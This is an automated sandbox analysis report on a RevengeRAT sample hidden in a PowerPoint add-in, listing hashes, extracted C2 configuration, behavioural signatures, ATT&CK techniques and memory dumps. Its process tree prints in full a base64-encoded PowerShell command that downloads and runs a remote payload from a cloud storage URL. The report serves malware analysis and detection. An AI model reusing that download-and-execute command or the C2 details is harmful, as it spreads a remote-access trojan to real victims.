revengerat | f8d9858e2029276c48e1e7aefc168269ba73450bfba41d49d47aa61092dd0cf9

General

Target

f8d9858e2029276c48e1e7aefc168269ba73450bfba41d49d47aa61092dd0cf9.ppam
Size

15KB
MD5

61d206a7e9df935a0cad8de669e85241
SHA1

fa687a793c6e5756d26e1d6082767c86efcb6198
SHA256

f8d9858e2029276c48e1e7aefc168269ba73450bfba41d49d47aa61092dd0cf9
SHA512

530c13a6b775e0e7fe1b101884e323b22f2e2420777e381f83244903258c709df1db706362d41769f91e556e7d70cf72041d11fb76ee9db7de2895d85f2aab68
SSDEEP

192:xrXP//fWt8oxFx+Wex7wTQxM7IVHdimITS09k80JFbSvmSvjXma9kofRuGEy4TZw:dXPvW6S+WexTM74d+XSDSOoTdfw3y0C

Score

10^/10

revengerat nyancatrevenge trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

craxsrat.ddns.com.br:333

Mutex

27d7e6701f5e

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	4576	3504	powershell.exe	POWERPNT.EXE

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

85 4576 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4576 set thread context of 3316 4576 powershell.exe RegSvcs.exe

flow	pid	process
85	4576	powershell.exe

description	pid	process	target process
PID 4576 set thread context of 3316	4576	powershell.exe	RegSvcs.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

RegSvcs.exePOWERPNT.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	RegSvcs.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

3504 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4576 powershell.exe
4576 powershell.exe
4576 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4576 powershell.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

POWERPNT.EXE

pid process

3504 POWERPNT.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

POWERPNT.EXE

pid process

3504 POWERPNT.EXE
3504 POWERPNT.EXE
3504 POWERPNT.EXE

pid	process
3504	POWERPNT.EXE

pid	process
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4576	powershell.exe

pid	process
3504	POWERPNT.EXE

pid	process
3504	POWERPNT.EXE
3504	POWERPNT.EXE
3504	POWERPNT.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

POWERPNT.EXEpowershell.exe

description	pid	process	target process
PID 3504 wrote to memory of 4576	3504	POWERPNT.EXE	powershell.exe
PID 3504 wrote to memory of 4576	3504	POWERPNT.EXE	powershell.exe
PID 4576 wrote to memory of 3316	4576	powershell.exe	RegSvcs.exe
PID 4576 wrote to memory of 3316	4576	powershell.exe	RegSvcs.exe
PID 4576 wrote to memory of 3316	4576	powershell.exe	RegSvcs.exe
PID 4576 wrote to memory of 3316	4576	powershell.exe	RegSvcs.exe
PID 4576 wrote to memory of 3316	4576	powershell.exe	RegSvcs.exe
PID 4576 wrote to memory of 3316	4576	powershell.exe	RegSvcs.exe
PID 4576 wrote to memory of 3316	4576	powershell.exe	RegSvcs.exe
PID 4576 wrote to memory of 3316	4576	powershell.exe	RegSvcs.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\f8d9858e2029276c48e1e7aefc168269ba73450bfba41d49d47aa61092dd0cf9.ppam" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3504

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADYAOQBjADAAYgBmADUAOAAtADIAYwBiADAALQA0AGYANwA2AC0AOAA2ADQAOQAtAGEANgA2AGUANQA0AGIANgA2ADkANAAwAA0ACgAnACkAOwAgAA0ACgBBAHUAawB3AFoARABlAGsAawBXAHAAZABmAG8AdABmAEkASQBaAFQARwBrAEgAYwBOAEgATAB1AEEAdABVAGUAQwBOAGQASABPAFYATgBBAA0ACgA=""
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4576

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Checks processor information in registry
PID:3316

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1336 --field-trial-handle=2268,i,8796662530135712346,11409037572378858775,262144 --variations-seed-version /prefetch:8
1⤵
PID:2636

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s5uyydjs.o1d.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3316-120-0x0000000075280000-0x0000000075A30000-memory.dmp

Filesize
7.7MB

Download
memory/3316-119-0x0000000005DD0000-0x0000000005E36000-memory.dmp

Filesize
408KB

Download
memory/3316-118-0x0000000005D30000-0x0000000005DCC000-memory.dmp

Filesize
624KB

Download
memory/3316-117-0x00000000057D0000-0x00000000057E0000-memory.dmp

Filesize
64KB

Download
memory/3316-105-0x0000000005E40000-0x00000000063E4000-memory.dmp

Filesize
5.6MB

Download
memory/3316-102-0x0000000075280000-0x0000000075A30000-memory.dmp

Filesize
7.7MB

Download
memory/3316-95-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/3504-64-0x000001F12DFF0000-0x000001F12E7F0000-memory.dmp

Filesize
8.0MB

Download
memory/3504-100-0x000001F1306D0000-0x000001F1316A0000-memory.dmp

Filesize
15.8MB

Download
memory/3504-10-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-11-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-12-0x00007FFC9F2F0000-0x00007FFC9F300000-memory.dmp

Filesize
64KB

Download
memory/3504-13-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-14-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-15-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-16-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-19-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-18-0x00007FFC9F2F0000-0x00007FFC9F300000-memory.dmp

Filesize
64KB

Download
memory/3504-20-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-21-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-17-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-22-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-23-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-36-0x000001F12DFF0000-0x000001F12E7F0000-memory.dmp

Filesize
8.0MB

Download
memory/3504-51-0x000001F12DFF0000-0x000001F12E7F0000-memory.dmp

Filesize
8.0MB

Download
memory/3504-52-0x000001F12DFF0000-0x000001F12E7F0000-memory.dmp

Filesize
8.0MB

Download
memory/3504-57-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-61-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-62-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-63-0x000001F12DFF0000-0x000001F12E7F0000-memory.dmp

Filesize
8.0MB

Download
memory/3504-0-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp

Filesize
64KB

Download
memory/3504-65-0x000001F12DFF0000-0x000001F12E7F0000-memory.dmp

Filesize
8.0MB

Download
memory/3504-8-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-1-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-4-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp

Filesize
64KB

Download
memory/3504-3-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-5-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-115-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-116-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-114-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-113-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/3504-112-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp

Filesize
64KB

Download
memory/3504-111-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp

Filesize
64KB

Download
memory/3504-110-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp

Filesize
64KB

Download
memory/3504-109-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp

Filesize
64KB

Download
memory/3504-6-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp

Filesize
64KB

Download
memory/3504-7-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp

Filesize
64KB

Download
memory/3504-2-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp

Filesize
64KB

Download
memory/3504-9-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp

Filesize
2.0MB

Download
memory/4576-85-0x000002A658590000-0x000002A6585A8000-memory.dmp

Filesize
96KB

Download
memory/4576-98-0x00007FFCB1BB0000-0x00007FFCB2671000-memory.dmp

Filesize
10.8MB

Download
memory/4576-93-0x000002A658590000-0x000002A6585A8000-memory.dmp

Filesize
96KB

Download
memory/4576-91-0x000002A658590000-0x000002A6585A8000-memory.dmp

Filesize
96KB

Download
memory/4576-89-0x000002A658590000-0x000002A6585A8000-memory.dmp

Filesize
96KB

Download
memory/4576-87-0x000002A658590000-0x000002A6585A8000-memory.dmp

Filesize
96KB

Download
memory/4576-94-0x000002A658550000-0x000002A658551000-memory.dmp

Filesize
4KB

Download
memory/4576-83-0x000002A658590000-0x000002A6585A8000-memory.dmp

Filesize
96KB

Download
memory/4576-80-0x000002A6585C0000-0x000002A6585D0000-memory.dmp

Filesize
64KB

Download
memory/4576-81-0x000002A658590000-0x000002A6585B0000-memory.dmp

Filesize
128KB

Download
memory/4576-82-0x000002A658590000-0x000002A6585A8000-memory.dmp

Filesize
96KB

Download
memory/4576-79-0x000002A6585C0000-0x000002A6585D0000-memory.dmp

Filesize
64KB

Download
memory/4576-78-0x00007FFCB1BB0000-0x00007FFCB2671000-memory.dmp

Filesize
10.8MB

Download
memory/4576-73-0x000002A658560000-0x000002A658582000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads